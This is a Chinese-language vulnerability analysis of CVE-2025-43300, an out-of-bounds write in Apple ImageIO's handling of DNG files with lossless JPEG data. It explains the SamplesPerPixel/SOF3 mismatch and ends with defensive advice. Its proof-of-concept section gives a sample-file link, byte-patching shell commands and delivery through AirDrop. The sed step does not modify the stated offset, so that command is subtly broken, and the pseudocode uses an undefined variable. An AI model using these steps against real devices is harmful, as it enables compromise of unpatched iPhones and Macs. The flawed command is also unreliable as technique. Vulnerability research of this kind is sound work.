iOS 18.6.1 DNG漏洞深度分析 (CVE-2025-43300)
漏洞概述
CVE编号: CVE-2025-43300
CVSS评分: 8.8 (高危)
漏洞类型: 越界写入 (Out-of-bounds Write)
影响组件: Apple ImageIO框架
影响版本: iOS 18.6.1及之前版本、macOS Sonoma 14.7.7及之前版本
修复版本: iOS 18.6.2、macOS Sonoma 14.7.8、macOS Sequoia 15.6.1
Apple官方确认该漏洞已被用于针对特定个人的"极其复杂的攻击"中,处理恶意图像文件可能导致内存破坏和任意代码执行。
技术背景
DNG文件格式架构
DNG (Digital Negative) 是Adobe开发的开放式RAW图像格式,本质上是一个增强的TIFF容器。DNG文件采用分层结构:
TIFF容器层: 包含图像元数据、目录结构(IFD)和子目录(SubIFD)
JPEG压缩层: RAW图像数据使用JPEG无损压缩算法进行存储
元数据系统: TIFF标签系统控制图像解析参数
JPEG无损压缩机制
JPEG无损压缩使用SOF3 (Start of Frame 3) 标记来定义图像结构:
SOF3标记结构:
- 标记ID: 0xFFC3
- 长度字段: 2字节
- 精度: 通常8或16位
- 图像高度和宽度
- 组件计数: 定义颜色组件数量(关键字段)
- 每个组件的采样因子
SamplePerPixel TIFF标签:
- 标签ID: 277 (0x115)
- 定义每个像素的颜色组件数量
- 用于内存分配和缓冲区计算
漏洞位置分析
漏洞位于Apple的ImageIO框架中的JPEG无损解压缩实现,具体在RawCamera.bundle组件内。该组件负责处理各种相机RAW格式,包括DNG文件的JPEG无损压缩数据。
由于符号被剥离,具体的函数调用路径难以追踪,但漏洞触发点位于组件缓冲区分配和数据写入的边界检查逻辑中。
漏洞触发机制详解
关键字节修改分析
第一处修改 (0x2FD00):SamplePerPixel字段
1原始值: 01 (1个组件/像素)
2修改值: 02 (2个组件/像素)这个修改告诉TIFF解析器每个像素包含2个颜色组件,系统据此分配相应大小的处理缓冲区。
第二处修改 (0x3E40B):SOF3组件计数
1原始值: 02 (2个组件)
2修改值: 01 (1个组件)这个修改告诉JPEG解码器实际只需要处理1个颜色组件的数据。
元数据不匹配机制
这两个修改创造了一个致命的元数据不匹配:
- 缓冲区分配阶段: 系统根据SamplePerPixel=2分配处理2个组件的内存空间
- 数据处理阶段: JPEG解码器根据SOF3组件计数=1,认为只有1个组件需要处理
- 越界访问: 当系统尝试访问第二个组件的数据时,发生越界写入
代码路径差异
并非所有DNG文件都会触发此漏洞,需要满足特定条件:
- 使用JPEG无损压缩 (SOF3标记)
- 包含特定的SubIFD结构
- 经过特定的相机或工具生成
使用Adobe DNG Converter或dnglab等标准工具生成的DNG文件通常不会达到易受攻击的代码路径。
内存机制深度分析
堆内存分配策略
ImageIO框架在处理DNG文件时采用动态内存分配:
- 元数据解析: 读取TIFF标签,确定图像参数
- 缓冲区分配: 根据SamplePerPixel计算所需内存大小
- JPEG解码: 初始化解码器,分配组件缓冲区
- 数据写入: 逐个处理颜色组件数据
边界检查缺失
关键问题在于缓冲区边界检查的缺失:
1// 伪代码示例
2int samples_per_pixel = tiff_get_samples_per_pixel(); // 值为2
3int jpeg_components = sof3_get_component_count(); // 值为1
4
5// 分配基于TIFF标签的缓冲区
6buffer = allocate_buffer(width * height * samples_per_pixel);
7
8// JPEG解码器处理 - 缺少边界检查
9for(int i = 0; i < jpeg_components + extra_access; i++) {
10 write_component_data(buffer + i * component_size, data); // 越界写入
11}内存破坏影响
越界写入可能影响:
- 相邻的堆内存块
- 内存管理结构(如malloc元数据)
- 其他对象的虚函数表指针
- 重要的系统数据结构
攻击载荷构造
POC构造步骤
基于研究者提供的方法:
-
获取基础DNG文件:
下载地址: https://www.dpreview.com/sample-galleries/4949897610/pentax-k-3-mark-iii-sample-gallery/2771457523 -
精确字节修改:
bash1# 修改SamplePerPixel (位置0x2FD00) 2xxd -p sample.dng | sed 's/01/02/' | xxd -r -p > modified.dng 3 4# 修改SOF3组件计数 (位置0x3E40B) 5printf '\x01' | dd of=modified.dng bs=1 seek=$((0x3E40B)) conv=notrunc -
触发漏洞:
- 通过AirDrop发送到iOS设备
- 在照片应用中打开
- 或通过其他图像处理应用加载
攻击向量特点
隐蔽性高: 修改后的文件在多数查看器中仍可正常显示
传播容易: 可通过各种渠道传播(社交媒体、邮件等)
检测困难: 需要深度文件格式分析才能发现异常
影响广泛: 影响所有未修补的iOS和macOS设备
防护措施与修复分析
Apple官方修复
Apple在受影响系统中实施了"改进的边界检查":
- 加强了TIFF标签与JPEG标记的交叉验证
- 在组件缓冲区访问前增加边界检查
- 改进了内存分配和释放的安全性
通用防护策略
对于开发者:
- 输入验证: 严格验证文件格式的所有字段
- 边界检查: 在所有缓冲区访问前进行边界验证
- 交叉验证: 验证不同数据源之间的一致性
- 安全分配: 使用安全的内存分配和访问模式
对于用户:
- 及时更新: 立即安装安全更新
- 谨慎处理: 避免打开来源不明的图像文件
- 隔离环境: 在安全环境中处理可疑文件
检测和防御
系统管理员可以考虑:
- 部署文件格式验证工具
- 监控异常的内存访问模式
- 实施应用程序沙箱限制
- 使用静态分析工具检查类似漏洞
免责声明: 本分析仅用于安全研究和防护目的。请勿将相关技术用于恶意攻击或非法活动。